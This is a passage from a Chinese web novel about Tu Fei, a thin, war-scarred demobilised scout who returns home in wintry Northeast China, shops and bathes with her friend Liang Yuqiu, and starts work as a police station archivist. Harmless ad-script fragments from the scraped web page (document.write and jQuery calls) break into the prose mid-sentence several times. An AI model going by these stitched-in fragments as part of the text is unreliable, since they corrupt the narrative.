很想临时抱佛脚的涂翡压根没意识到,她最大的变化是她瘦掉的几十斤体重。她是练武的人,看着瘦,实际成年后,她体重最低也没下过一百二。
在战场上缺衣少食,后来又重伤,现在她只有八十多斤,而她是174的高个。脸颊凹陷,双目突出,身上没什么肉,一摸全是骨头。
纠结半天,她被自己的怂样逗笑了,不再照镜子,转头在行李里找出衣物。
涂翡换了内衣裤和线衣线裤,在单袜外还要套了一双毛线袜。她那大头鞋不够暖和。
但要她换成家里做的棉鞋,她又不乐意。大头鞋是军鞋,虽然很硬很沉,但行动起来方便,好用力。
这些是最里层,然后是棉裤毛衣。白色加厚羊毛衣是买的成品,棉裤是团长家嫂子给做的,知道她要回东北,做得贴身又厚实。
下身再套层军裤就行了,上身毛衣外要再套一层棉袄,浅绿色的军棉袄可以直接当外套穿。
她留在家里的衣服不多,以前她虽不像其他小姑娘那样活泼,但也喜欢新潮的东西,布拉吉、牛仔布、花里胡哨的衬衫。
在点火大会上,这些新潮的玩意和封资修的书籍一起被人们扔进了大火里。她的东西老涂没扔,都藏在了箱底,但也穿不出去了。
她带回来的衣服一水的军绿色。幸好外头正流行这个,她穿这身不突兀,很体面。
在屋穿这些,出远门就再穿件大衣,戴上栽绒雷锋帽。
她看着这身行头,还算满意。
她高且挺拔,穿得厚一些,就看不出‘弱不禁风’了。
出门买早点前,她给老涂的洗脸盆也盛上水放炉子上。
推开大门,门沿震动,飘下来几缕清雪。
卖早点的地儿很近,宁字片北面有一呈三角形的环路。
那地方聚集了一些小商铺,副食品站、粮点、国营洗浴中心、轴承厂早餐店……大家都叫那儿三角框。
此时外面已经有人走动了,除了真正相熟的,涂翡对其他人的打量视而不见,拎着饭盆和饭盒大步流星穿过胡同。
进了三角框,早餐店门口琼大娘正在炸大果子,锅旁边炸好的整齐地摆成了一堆。
长筷伸进翻滚的油花,波动着油条,白面迅速膨胀成诱人的金黄,滋滋啦啦的声响勾搭着人的食欲。
扑面而来的油香面香,直接让涂翡走不动路了,她咽了下口水,围到了摊边。
“一根4分,一斤7毛!”琼大娘看见‘生面孔’说了一句,又低头翻动起果子。很快她又觉得有什么不对,抬头看过来,她筷子顿住想了几秒,恍然大悟:“是小翡不是?是不是小翡!是不”
“是是是,大娘你快扒拉,一会糊了!”
琼大娘哈哈大笑,将锅里的油条捞出来,在不太白的白围裙上擦了擦手:“我就说眼熟呢!当兵回来啦?还走不走?我瞅着小翡你比以前更精神了!”
这早餐店属于轴承厂,厂里的人琼大娘鲜少有不认识的。
奶奶没
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
了后,她和老涂更是早餐馆的常客,琼大娘能认出来她一点不稀奇。
“不走了,大娘你给我称一斤大果子。”涂翡应着,把本想打豆浆的饭盆端给琼大娘,有点小,但也能拿走。
一斤大果子有20几根,比单根合适。买多了也不怕坏,往外头一放,冻得梆硬。
“哎,回来了好。大娘给你装,带票了没?”
“带了。”涂翡从兜里找出一市斤的粮票和钱。
琼大娘称出一斤来装好,收好钱后,看了涂翡一眼,多撕了半根油条放在盆里。涂翡用眼神道谢,彼此心照不宣。
涂翡进屋用饭盒打了两份豆腐脑,一份5分钱,要豆制品票。
出了早餐店,她左边拿着饭盒胳膊夹着饭盆,右手拿着那半根大果子往嘴里送,外酥里软,咀嚼完,嘴里还有白面的香甜。
她吃得开心,身影消失在胡同里,没看见从三角框另一边走出来的穿着蓝棉袄的姑娘,这姑娘长着大高个,圆脸白白净净的,身材略有些丰腴。
她长发还没梳蓬松凌乱,她打着哈欠走向了琼大娘的大果子:“大娘,早啊,给称一斤。”
说着就要放下红锦鲤的搪瓷盆。
琼大娘打量了她好几眼:“你们俩真是前后脚,你说小翡那孩子咋瘦成那样呢!”
梁玉秋一愣,突然睁大眼睛:“你说谁?”
琼大娘乐了,扒拉着大果子:“小翡呗!从小和你穿一条裤子的,还能是谁!”
梁玉秋原地跳了起来:“涂翡回来了!”
“嗯呢,刚端着一盆大果子回去!”
梁玉秋急切地转过身,没看见人影,她也不失望,拎着盆快步追向离开的涂翡。
“你还要不要大果子啊?”
梁玉秋拎着盆开始小跑:“给我留一斤!”
“嘿,这孩子,都当干部的人了,还这么不稳重。”
涂翡脚程快,这会已经快拐到家了。而追着她的梁玉秋从小跑渐渐变成了撒丫子跑,她甚至还在冰上滑了一下。
好在稳住重心是东北人民从蹒跚学步起就开始练习的必修课。
涂翡刚进了大门,那边梁玉秋拐恰好进了涂家的胡同,连片衣角也没追上。
但梁玉秋只觉得心跳越来越快,砰砰砰地吵得脑仁疼,她完全不顾形象,张牙舞爪地冲向那个熟悉的大门。
涂翡还不知道那冤家就要来了,老涂听见声音出来接她,把大果子接过去:“今天这大果子炸得好!”
涂翡刚要说话,大门‘砰’地一声开了。
她转过身,正好看见穿着大棉袄,长发凌乱的梁玉秋气喘吁吁地堵在大门口。
“涂翡!”梁玉秋见到涂翡的那一刻,大吼了一声。
看见敌人也就不过如此了。
房檐上的雪被震下来,飘进了涂翡衣领里,冰凉。
“秋子!”涂翡刚要激动,只见这人小炮弹一样冲了过来。
涂翡下意识抓紧饭盒,果不其然,下一秒梁玉秋已经骑到了她身上。
梁玉秋抱着涂翡的头,双腿半圈住涂翡的腰,眼睛通红地锤了涂翡几下,涂翡纹丝不动,她则破口大骂:
“你个王八犊子!整整两年没消息,老娘还以为你死了呢!你去当那狗屁倒灶的……”
涂翡一激灵,赶紧捂住了梁玉秋的嘴。
这话可不好在院子里说!
5. 购物
老涂看着小涂挨揍,拿了一根大果子,咬了口,笑得相当畅快。
涂翡理亏,只能半搂半抱地带着梁玉秋进了屋。
涂翡从小就又乖又倔,她不怕老涂,或者说她就没怕过谁。她处处优秀,遇到她犯倔的时候,老涂和老师都不知道怎么说她。
就这么个难管的性子,偏偏遇到个丝毫不惧人脸色的梁玉秋。
这家伙是家里老大,从小就一股姐味。
明明只比涂翡大一岁,却有种来自姐的独特压迫感——我管你年级第一、烈士家属、为人孤僻,我想和你交朋友你就逃不掉,我觉得你不对,你就得哀悼。
涂翡很认命,毕竟在梁玉秋家里,她爸妈都被她训得服服帖帖。
俩人一个小学,家离得也不远,涂翡是一不小心就落入了梁玉秋的手掌心。初中本以为能逃开,可好死不死的俩人又进了一个班级。
俩字,孽缘!
不过友情经过几年的发酵,俩人这回真好到穿一条裤子了。
梁玉秋也就嘴上骂骂,她也是有觉悟的人。
她也不知道该生谁的气。
为国家而战,她为涂翡自豪;去执行秘密危险的任务,这是军人的职责;瘦成麻杆,跟细狗一样回来,她也该开心,起码人回来了……
国家需要,自当挺身而出,没有国,哪来的家。
所以梁玉秋痛痛快快骂了一场,把所有担心发泄后,看着涂翡就红了眼。
抗美援越是秘密远征,涂翡甚至穿过越南军服上前线,除了军人家属,其余的人不许知道。
她不能和梁玉秋说,只能转移她的注意力:“我工作落到镇北派出所了,档案管理员,下周一上班。”
一听这,梁玉秋也不哭了,差点跳起来:“真不走了!”
“真不走了。”
梁玉秋兴奋地打量了一遍涂翡,熟练地捏捏她的骨骼,摸摸她的棉袄,又一脸嫌弃:“这两天放假?你这确实得养养!穿的这什么棉袄,棉都不匀了。
你们当兵的都一个样,退伍了还当宝贝一样……你也不怕冻死!你等着我,我去请一天假,你这一天归我!”
涂翡对她听风就是雨的性子很无奈:“请假能行?”
“咋不行,关心退伍女兵也是我的职责!”说完,人就风风火火地顶着一头飘逸凌乱的头发走了。
梁玉秋高中毕业后,没按分配工作,她自己找了路子,考进了郊区单位当妇女主任。
这两年各个阶层干部都受到了波及,幸亏她成分红,又是个刚上岗的新人,所以没怎么受牵连。
实行军管之后,街道改成公社,合并来合并去,她调回了镇北公社。
市郊公社变成城市公社,升迁了。
这些是老涂告诉她的。
梁玉秋的爷爷和老涂认识,俩人都是义勇军,只是不在一个队伍。小辈成了朋友,俩老头慢慢就熟悉起来了。
梁玉秋请完假过来找涂翡,已经八点多了。
一进门就问涂翡:“你今天啥打算!”
涂翡很敬佩她,啥都没问就直接去请假了?然后她乖乖把今天的计划交代了。
梁玉秋来找她,她也就不着急去见谁了,先从梁玉秋这打听打听其他人的消息,少年时代,她俩的朋友圈几乎重合。
梁玉秋琢磨了一会:“行!那我今天就跟你逛商场,拿好钱票,中午咱在外面吃!下午去洗大澡!”
被安排的涂翡眉心直跳,非常抗拒:“洗澡就不用了,我刚洗完……您老还是”
“你那不叫洗,你那是涮!”梁玉秋摸着下巴,大眼睛里满是狐疑:“有什么我不能看的?你有什么瞒着我?”
“没”
“没有就听我的,洗澡票我都拿了。现在都不让搓澡工给搓了,说是助长资产阶级腐化享受思想,没有我,谁给你搓后背?
听我的,我请你去双泉泡澡!”
涂翡盯着梁玉秋,最后没忍住在那白软的脸蛋上狠狠揉了一把。
这家伙怎么这么会拿捏人呢?
逛商场,那就得去江城最大的商场,江城第一百货商店,在市中心。
那边繁华,商铺多。与江一百隔不远,还有一家秋林百货商店。
记忆中,那里面卖各种欧式食物,香肠、精美糖果、葡萄酒、伏特加、大列巴、格瓦斯……还有明亮的大玻璃门窗,特别漂亮。
秋林这家公司,从沙俄那时候起,就是谁在这片土地上当家做主,它就是谁的囊中之物。几度易主之后,在53年由苏联正式交给了我国。
不过梁玉秋说,就在前年,秋林百货商店改名为东方红百货商店了!
涂翡很震惊。
梁玉秋却不怎么在乎:“不改咋整,都改名了去年还歇业三个多月呢。街道名字不对劲儿都得改,何况秋林了?”
.
涂翡转业回家,就跟学生突然去上大学一样,那都是需要置办东西的。
她的存款存票很可观。
六年时间,她津贴从23块涨到了78块,工资高,而她又没什么消费的途径。
对家里,老涂不需要她孝敬。他是退休民兵,对他一人而言,钱票足够。
除此之外,涂家还是光荣之家,家里有烈士,有现役军人,社区会给一定照顾。
这么多年涂翡也就寄给他一些票,帮他买了台收音机。
在军队,她花费的机会本就不多,后来更是去了战场。这两年工资,各种补贴奖金,加上转业安家费,她一次取了2600多块钱。算上她以前的存款,4开头。
除去吃穿用票,工业票按工资发,20块给一张,她手里一共攒下130多张。如果商场有货,她可以直接去提一辆自行车了!一辆自行车‘也就’用20多张工业票。
不过,她暂时没有买大件的打算。
一百多张工业劵只是看着多。
若是年轻人成家立户,就得用下去一百来张。锅碗瓢盆,床单被罩,哪一样都得用票。
只是绝大多数城里人没这个实力,年轻人结婚都先住父母家,用不了多少工业票。
一个小房子里住一堆人,才是常态。
工业劵难攒,一个家庭一年能攒出来三张五张已经很不错了。
她把工业劵花在日用品上,能把自己养得很好。至于自行车票,有机会就搞一张,没有也没什么,上班就腿着,反正也不远。
她决不让自己陷入消费主义的陷阱。
涂翡准备了一沓票,用铁夹子夹着,就跟着梁玉秋出了门。
物以类聚人以群分,梁玉秋和涂翡都不是会在生活上苛待自己的人。大件可以不买,吃穿必须要尽量满足。
只是有时候想满足也满足不了,前些年自然灾害的时候,涂翡记得市场上商店里什么都没有。
这几年好多了,但依旧什么都有限。
所以梁玉秋也没自行车。
俩人得坐有轨电车。
有轨电车稳得让人着急,幸亏这个时间不是上班高峰期,不
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
然对涂翡来说绝对是煎熬。到了江一百,梁玉秋带她直奔卖布的柜台。
涂翡本来是想买成品的,但看到梁玉秋眼睛锃亮的样子,她坏笑着明知故问:“你给我做?”
梁玉秋翻了个白眼,一扬脑袋,满脸骄傲,帽子下两根到腰的麻花辫晃荡着:“不然呢?指望你那里挑外撅的针线活?”
涂翡揪住她的麻花辫,手欠地捋了两把:“那我只能指望你了,秋姐?”
梁玉秋美眸一瞪,拍向涂翡的爪子:“讨打?”
涂翡反应快,没让她打着。
梁玉秋防备地握住两根辫子,却忍不住显摆:“姐姐现在也是有缝纫机的人了!”
“秋子,你发达了啊!以后小的可就仰仗梁大师傅您的手艺了!”
“那是!”
梁母是服装厂的,梁玉秋耳濡目染,在裁剪衣服这一道上颇具天赋,只是她愿意出手的时候不多。她认下这句恭维不是自大,是实事求是。默契的是,俩人都没提及以前的老规矩。
在售货员不善的目光中,俩人开始看货。
柜台里蓝色的劳动布最多,这布料厚实耐脏耐造,一直很受欢迎。其他的,只有常规的冬季厚布料,军绿、黑、蓝、白、灰。
涂翡选了款适合做衬衫的白布,扯够做两身的。知道她要做裤子,梁玉秋帮着选了款黑色的布料。
“这就完了?”梁玉秋看着涂翡不解的脸,直接跟售货员说:“同志,麻烦你给拿一下亲肤的棉布。”
趁着售货员转身的功夫,她小声耳语:“内衣得我给你做,你现在只能买到松松垮垮的背心。那个……现在没有卖的了。
再就是你这棉袄太薄,买点棉花布料,我给你做一身。你出钱票,我出手艺,就当庆祝你回来。”
梁玉秋说的是苏式内衣,江省洋气的姑娘们首选,不过因为太凸显女性身材,这两年服装厂不生产了。
涂翡很难形容那一瞬间的感觉,就像是航行数月的船舶到达了目的地,看见远处的陆地,心中欢喜又不敢相信——柔和温软的情绪在那堵厚厚的心墙上开了一个小口,潜入进来。
只一点点就足够涂翡晕眩的了。
她已经麻木很久了。
亲肤的布买了灰白两种。白色做内衣,灰色做棉袄内里。除此之外,梁玉秋还选了棉花和一款深灰色的布料,说是做棉袄外衬。
涂翡一律听她的。
在梁玉秋的带领下,涂翡一路消费。她觉得梁大师傅比那售货员敬业多了,在秋子的推销下,她恨不得把商场都搬回家。
买来用的有洗头膏、香皂、雪花膏、蛤蜊油……吃的则买了不少营养品,比如大白兔奶糖、麦乳精。
出了江一百,俩人大包小裹地去了东方红百货商店。货架没有特别空,因为这商店偏贵,不在广大群众的消费水平中。
但涂翡想吃的红肠依旧是稀缺物品,今天的量已经被抢光了。
她暗中给了售货员三斤全国粮票,念叨了好些主席语录,好说歹说才走了点后门,一口气买了五斤红肠。
涂翡虽然瘦成干了,但逛了一上午,她是一点没累着,梁玉秋却已经没了力气。涂翡掰了半根红肠塞她手里:“你等我一下!”
说着她回了秋林,买了两瓶格瓦斯出来,她将两个铁瓶盖的锯齿对在一起,用巧劲一撬,两瓶饮料噗地两声,起开了盖。
她递给梁玉秋一瓶:“秋子,干杯!”
细长的玻璃瓶口相碰,琥珀颜色的饮料撞出一点气泡。
6. 为革命打基础
在梁玉秋的坚持下,逛完商场饱餐一顿后,俩人将东西送回家,到底来了双泉洗浴中心。
双泉洗浴离镇北公社不远,开在一座雄伟漂亮的苏式建筑中,是江城最有名的洗浴中心之一。
洗澡对于东北人民来说是个大事,因为寒冬,人们没有条件在家里洗澡。每每逢年过节,澡堂洗澡都得排长队。
有的厂子会自建澡堂,没有澡堂的单位就发洗澡票,工资条里有一项洗理费,专门给工人洗澡理发烫发。
三角框就有一家澡堂,不过那家和双泉比,简直就是老破小。
进了堪称豪华的大堂,梁玉秋交了两张票和钱,一人三毛。
俩人被指示着坐上了电梯。
涂翡一上电梯就揽住了梁玉秋脖子,将她的脑袋夹到自己唇边,对着她耳语:“这地儿有点过分了啊,你就不怕别人抓你把柄?”
在公社工作,哪怕是妇女主任也是危险的,盯着这些干部的眼睛有无数双!
梁玉秋瞄了眼凳子上的电梯员,发现她没关注她俩,眼睛滴溜溜地转了转,小声说:
“身体是革命的本钱,我一切为了革命!为了让你这颗螺丝钉重新运转,那不得修理保养?我这是为革命打基础!”
合着这么敢,是打的她这张破旗……
一楼是男士洗浴,都是公共池浴,分为冷水池、热水池,单人小池。
女士洗浴在二楼,可以选单人盆浴或淋浴。
梁玉秋选择了盆浴,因为盆浴是双人间,里面还有一个冲洗用的淋浴。
俩人领了两块指甲盖大小的方形肥皂,等服务员给浴缸放水。双泉不愧是双泉,服务员先用开水给浴缸烫洗一遍,再打开铜制的水龙头放水,蒸腾的热水流入浴缸,水汽渐渐氤氲。
双泉洗浴出名,就是因为它的现代化,通电梯,上下水完备,工作人员100多人。
涂翡打量着这个房间,这屋的瓷砖屋顶光亮如新,不见泛黄的裂纹;两张盆浴靠着的墙壁上贴着彩色的玻璃花墙。
等放好水,服务员也走了。
涂翡抿抿唇,迟疑片刻,不在扭捏,把衣物都脱了。
露出一身的斑驳。
与梁玉秋那一身白白净净的软肉相比,衬得她这幅身体更加丑陋了。
梁玉秋这次没有哭,她只是喉结微动,把所有哽咽都吞下去,然后张扬地说:“我就说你得养,看你那弱不禁风的弱鸡样,赶紧把你那一身腱子肉给我养回来!”
涂翡黑得不均匀,常年被衣物遮挡的地方都不黑。
但除此之外,修长的四肢和后背都黑得深深浅浅,跟斑点狗一样。乱七八糟的伤痕纵横,有的刚刚脱了血痂,长出粉色的嫩肉。
涂翡站在镜子前,看着里面的自己,勾了下唇:“会的。”
俩人不磨蹭,泡进浴缸,在热水中全身的毛孔都张开了,舒服得让人想睡觉。
俩人没聊其他朋友,就躺在浴缸里,有一句没一句的聊天。
突然梁玉秋想起了什么,问道:“我记得你小时候说想找个在洗浴中心工作的人结婚?”
涂翡还真记得这事:“是,但后来想想为了天天洗澡把自己卖了,有点亏。”
她小时候爱干净,但洗澡票一个月才两张,她家的都给她用了。他们那片有个人家,自从找了一个在浴池烧煤的女婿,一大家子人就再没花过洗澡钱。
梁玉秋扑腾了一下水,欢快地说道:“要不打听打听,给你介绍个浴池工作的革命伴侣?”
涂翡没接话。
梁玉秋依旧欢快地扑腾水,只当涂翡害羞。
涂翡突然起身,趴在浴缸边缘,目光如炬地盯着梁玉秋:“你结婚了。”
语气相当肯定。
梁玉秋动作一僵,水花声瞬间消匿:“你怎么知道?”
涂翡笑着补充:“结婚不久,对象是个军人,退伍军人。”
梁玉秋脸色涨红,眼睛心虚地瞟了瞟,将脸侵入水中,只留下嘴巴在水面吐泡泡。
“这人有什么问题?不然你反应”
“停!”再猜老底都被扒出来了!
梁玉秋坐起来,她挠挠头:“哎,到时候你就知道了。”
“行吧。”看梁玉秋消停了,涂翡也不再琢磨她结婚对象的事,心满意足地泡大澡。
也不是她明察秋毫,是早晨梁玉秋自己说‘你们当兵的都一个样’的。
那时候她就觉得不对了,除了她这个发小,梁玉秋哪儿还有途径认识退伍军人?
她就说这一天下来,这冤家说的话不太对劲,细琢磨一下,合着里面是多个人。
最重要的是,一般催婚的人,都是结了婚的。
她这婚肯定刚结没多久,老涂都不知道。
好半天,梁玉秋才缓过神:“你这进派出所还真是进对了。”
涂翡已经快睡着了:“是啊……谁说不是呢。”
.
等搓洗完成,梁玉秋又拉着涂翡来了理发店。
梁玉秋舍不得剪了长发,哪怕不能搞资产阶级或旧世界的‘怪式发样’,只能编麻花辫,她也不想剪短发,她自己只吹干,然后笑眯眯地让理发师给涂翡的头发好好修修。
涂翡没留长发,热、长虱子、不方便;当时被炸伤,她脑后的头发还让医生给剃了点,现在长长了,确实跟狗啃似的。
理发师一把剃刀,刷刷刷,娴熟地落下一撮撮枯黄的头发。
修理完成,枯草一样的头发重新焕发出了星点生机。
梁玉秋看着成品,啧啧了两声:“不错不错,很飘逸,挺好看!”
有点像妇联宣传画上那个短发飘扬英姿飒爽的女拖拉机手。
涂翡本来五官就偏英气,哪怕瘦脱相之后,五官也是好看的,就是有些过分犀利。
这种没过耳的短发配她的气质更为和谐,虽然有点不像姑娘了,但也不像之前那般锋利尖锐得有压迫感。
要是她再长点肉,能俊哭小姑娘。
涂翡还是得承认,梁女士的审美是比她好。
.
白天过得舒畅,洗过澡后整个人都松快轻盈了。
但晚上涂翡还是被细微的声音吵醒了,是邻居进出关门的声音。
她有些睡不着,干脆起来给战友们写信。今天下午从洗浴中心出来,她和梁玉秋又去了副食品商店,买了不少东西。
晚上回来她就一份份的分装好了。至于红肠,那点东西可太少了,一人一口都不够分的,她送的东西都实惠量大。
有孩子的战友,就给添点糖果,也算补充营养。
涂翡也不开电灯,只拿过炕桌摆上,点上汽灯,找出信纸信封,披着件衣服盘坐在桌前写信。
她的电话本上记了战友们的联系电话和地址,但她还没打电话确认过。
她并不知道能寄出去几封信,但她每一封都写得很认真。钢笔在信纸上划出沙沙的声
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
响,在寂静的夜里奏出舒缓的曲子。
再睡下,她睡得很好。
.
和涂翡保持联系的战友不多。
在战场上遇到的女兵极少,大多数女兵都在战地医院服役。
和她一样的侦察女兵,她能保持联系的只有一位。而和男兵相处,除了有过命交情的,她和他们都有些距离。
结果就是这为数不多的战友,第二天打电话确认地址的时候,能联系上的只剩下了五六个了。
各种各样的原因。
涂翡感受到了来自当前局势的压迫感。那是一种见多了生死,培养出来的关于生存的直觉。
想了想,她把多出来的特产分出来一半,打算寄给两位军嫂。
没去境外战场前,她就是侦察大队的中队长了。她任职期间,队里牺牲了两名战士,一个小队长,一个士官。
她本来只打算给两位军嫂寄些钱的,缺什么她们自己买,也省得她们回礼。
剩下的都存进了下屋。
下屋就是在院子里搭建起来的库房,除了挡风和室外没什么区别,离开化还得有两个月呢,都坏不了。
下午,梁玉秋又来找涂翡,给她量了尺寸。
但谈及梁师傅结婚对象时,被她支支吾吾了过去。
涂翡越发好奇,怎么,她的革命伴侣就这么见不得人?
结果两句调侃,换来梁玉秋两巴掌。
俩人猫在西屋,将门一关,涂翡才问起其他的朋友。
“李金玲前年嫁去了南江区,你也知道她家的情况,她一直都很少回来。在一个城市,见不了面,也不好写信,联系越来越少了。”
李家是涂翡家旁边后搬来的邻居,李金玲是李家唯一的女孩,年龄和涂翡差不多,很自然就融入了涂翡的好友圈。
李家有些重男轻女,虽不至于磋磨,但也不重视她。
李金玲和弟弟同级,后来家里以她学习不好为由,没供她上高中。
自那之后她就和家里关系就不乐观了。
涂翡跟人交往本就有些冷淡,除了梁玉秋这个冤家,她对其他人的来去都接受良好。缘起缘灭,人聚人散,是最平常的事情。
现在似乎因为见过了太多的死亡,对人,她更是有种近乎冷漠的麻木。
她理解那些情感,但她也只能理解。她已经感受不到朋友们从生命中淡去的惆怅了。
梁玉秋叹了口气,又谈及另一个朋友,低声道:“周一鹏他爸被下放改造。他跟着去了林场……被看得很严,不允许和外界交流。我也不敢联系他,只能从公社那边打听打听……他在林场做伐木的活儿。”
在他们这些年纪差不多,玩得来的轴承厂孩子们中,周一鹏是年纪最小的,他们总是把他当成弟弟照顾。
结果最被娇惯的小弟弟去了林场。
涂翡的心被刺了一下:“他去哪个林场了?”
“伦县,八一林场。”
接着梁玉秋又说了几人,结婚的结婚,工作的工作,还有下乡支援的。这些人和涂翡关系就远了些,她去当兵后就不怎么联系了。
问了一大圈,涂翡只打算给李金玲去个电话。周一鹏那,她现在无能为力,只能等以后有机会照顾一下。
至于别人,都在这一片住着,说不准哪天就遇到了。
三天假期涂翡还真没一天白费,事情都办利索了。
睡之前,她对新工作有些期待。
7. 档案管理员 周一。
周一。
涂翡的警服是66式新款,绿军装上衣,藏蓝色警裤,绿色军帽。
除此之外,还配备一顶蓝色雷锋帽和一件双排扣的藏蓝色过膝棉大衣,这冬装不是66款,东北冬季警服这些年一直是这一身。
她穿好大衣,领子处刚好能露出红色挺括的领章。虽是大衣,但并不臃肿,腰间扎紧皮带,勾勒出精瘦的腰。
腰虽瘦,但并不柔弱,配上那完全撑得起过膝大衣的身高,人们看她只觉得步履生风。
老涂站在涂翡身前,看着国徽,仔细帮涂翡正当了下雷锋帽:“啧,我大孙女就是招人稀罕,威风凛凛!”
没什么表情的涂翡听了这话眼里带了笑意:“随你了。”
“嘿,这话我爱听!你爷我年轻的时候,那也是溜光水滑,不然能把你奶骗到手吗?”
涂翡笑,想起什么,她从口袋里拿出一卷票据和一卷钱:“爷,你有空的话,多走走商店。那些放得久不限量的吃食,多买点存起来。”
冬天万物寂静,副食品厂只有各种干菜咸菜,这些大部分不定量,只要钱票就能买。像是粉条豆腐这些稀缺的就限额,得用副食本,还不一定能抢到。
她小时候就经历过饥荒,越南这两年更是饿惨了。感受到局势的紧张后,她唯一的想法就是存粮。
革命成了人们生活的主旋律,生产、机关、教育,都要给革命让路。
全民皆兵,全民皆革命,那谁去种地?谁去生产?各个部门职能瘫痪,那种出来的粮食能否妥善分配?
危险的事她不会让老涂去做,但她已经打算私下买粮了。
她现在最怕的,就是饿肚子。
老涂拿着钱票,和涂翡对视一眼:“这么严重?”
涂翡摇头:“直觉吧。”
“行,我知道了。”老涂把那卷钱扔给了涂翡:“我就是没票,钱我还能没有?”
比起钱,票才是命。
涂翡一把接住钱,不客气地塞进了衣兜。
涂希芳不是毫无察觉,毕竟是个老民兵,对动乱这二字相当敏锐。
但他一人吃饱全家不饿,生活比别人容易得多,就没警惕。再说,人总是抱着侥幸的。
涂翡是突然回到这个环境,她不像老涂,温水煮青蛙一样看着大家变得如今这般疯狂。这个局面对涂翡的冲击远大于一直身处于这个环境的人们。
东北人家家户户都在入秋的时候囤积过冬菜,白菜土豆萝卜,除此之外就是干菜冻货。远了不说,至少过年没问题。
只是再过一个来月,很多人家存货就见底了。
这时候就很考验政府的能力,一个疏忽,人民就要饿肚子。
涂翡对目前的局势不是很信任。
.
第一天上班,涂翡也不磨蹭,出了门,迅速涌入上班人潮中。
到了派出所,在大厅没等太久,人来齐了。马所长顶着一身寒霜,进门连衣服都没脱,就招呼所有人聚到大厅。
说了几句语录后,他正式把涂翡介绍给其他人:
“这是所里新来的警员,涂翡,刚退伍的军人。
别看她年轻,已经是五年的老党员了。她服役期间,先后荣立8次战功。其中2个二等功,1个一等功,1个特等功……
她出自从义勇军时期走过来的革命家庭,父亲是抗美援朝时的烈士!
来到咱们所,涂警员会接手档案室的工作。以后你们要多打配合,合作才是打赢硬仗的根本。大家都是为了革命,响应国家号召砥砺前行,做好国家给我们的任务,维护好城市治安。抓革命、促生产……”
随着马所长讲话,涂翡察觉到人群中的审视不那么尖锐了。
她不动声色地看着眼前的同事们,这里一部分人虽穿着警服,但军人作风明显,一看就知是接手军管工作的军人,他们大部分在治安股工作。
那些审视她的应该是政保股的,他们是从各个革命小组抽调过来专门干革命工作的。
这些人自带一种昂扬振奋的积极情绪,又意气风发,很容易就能看出来。
剩下的人整齐气质就没那么凸显。有几位身材魁梧的,她猜以前是民兵;有几位便衣,估计也是治安工作;还有些警服穿得没那么板正的,估计是各个办公室的文职。
她打量着众人,别人也在打量她。
大家对她的第一印象就是板正。人们冬天都穿得老厚,别人甭管怎么整理,都难免臃肿。
但她往那一站,腰杆笔直,身材高挑,警用大衣和警裤在她身上都变得挺拔。
再看就是那身凛冽的气息,眼里透着冷漠与凌厉,脸上没什么表情,似乎不太好接近。
直到马所长的话传来,众人才恍然,她身上让人难以忽视的锋芒与戾气,是从战场上带下来的。
一听涂翡是侦察兵出身,很多军人出身的警员看涂翡的眼神难免好奇起来。
要知道,侦察大队只要优中选优的精兵。不过她的气场这么强,能去敌后吗?侦察大队的女兵?
虽不解,但他们对这个屡立战功的退伍侦察兵印象还行。
至于政保股的,那些人一听马所长强调涂翡红五类的身份,就放下了那份审视。
当然,革命面前人人平等,涂翡的战功和来历并不会成为她的保护伞。但凡涂翡有什么出格的行为,那也得反省认错。
还有些明白人,难免心生疑问,立了这么多战功,怎么就来他们所了?
再一想,估计也是时局问题,不然怎么也得进个区派出所,当个队长啥的吧?
涂翡倒是很满意,单位虽小,但离家近啊。
这年头,各个部门瘫痪,别说转业,就是军人的退伍都无法运作。
考虑到她的军功、她的才能、她的精神问题。军区领导是调动了私人关系,费了很大劲,才把她安排回来。她很感激。
初步给彼此做个介绍,马所长就遣散了众人,留下了涂翡和老秦。
.
档案室在一楼最东边,三面环窗,一进门正对着办公桌,是办公区;里面的部分是成排的柜子,上面放着不同年限的档案。
档案室很大,所以办公区并不显得逼仄。甚至还摆放了一张刷绿漆的单人床。
“这屋是有点冷,因为里面都是档案,平时不准用火。你可以用热水袋取暖。这位是老秦,上一任档案员。你和他交接一下,不懂就问,他现在去户籍股了。”
马所长的任务完成,剩下的就交给涂翡和老秦了。
老秦四五十岁,脸上的沟壑很深,眼神有点凶,没什么笑脸。他的牙齿黑黄,涂翡再一看他的手,指关节处有明显的黄色。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我是秦有福,你叫我老秦就行。每天的出警、会议、立案……各种记录会送到档案室,你负责审查归档。”说着他打量着涂翡,语气里有些怀疑:“写东西没问题吧?”
“那得看写什么,写报告没问题。”涂翡笑笑,没在意对方似是冒犯的语气。她掏出一盒烟,隐蔽地塞进老秦手里:“秦哥,麻烦你多指点指点。”
她也不是四六不懂的二愣子,在敌后伪装侦查的时候,她也能扮什么像什么。
老秦瞅瞅手里的大前门,呦呵,好烟啊!三毛五一盒,这烟不仅贵还不好买。
他将烟塞进口袋,表情真诚了很多。他手在口袋里稀罕地摸索着烟盒,心想,这姑娘瞅着梆硬梆硬的,没想到还挺会处事。
他吩咐道:“你把记录册和检索册拿过来。”
档案室也就冬天冷些,是很清闲的办公室工作,平时不用和群众对接,活少不加班。
他被老马调去户籍股,平时为人民服务还好说,一有大事肯定清闲不起来,人口普查和检查都够所有户籍警喝一壶的。
他年纪也不小了,凭啥为一个年纪轻轻的女娃子倒地方啊!他是有点不满,但也不敢表现出来,不然被人说工作态度不积极就完了。
本来交接糊弄糊弄就完事了,但现在看在这盒大前门的份上,他就多交代点。不知道咋的,这心气一顺,瞅着涂翡也不闹挺了。
这姑娘确实该进档案室,咋瘦成这样,不定受了多大的伤才退伍的。
老秦一尽心,涂翡的交接就更容易多了。有些老秦没说清的,她就直接问,老秦也不敷衍她。
临了,老秦又嘱咐了几句:“等你登记完拿给我看看,要是有啥不懂的就来户籍股找我,大厅旁边那个办公室。这屋冷,你平时多准备个热水袋,穿得厚实点也不算难熬。”
人一走,这档案室就剩涂翡自己了。
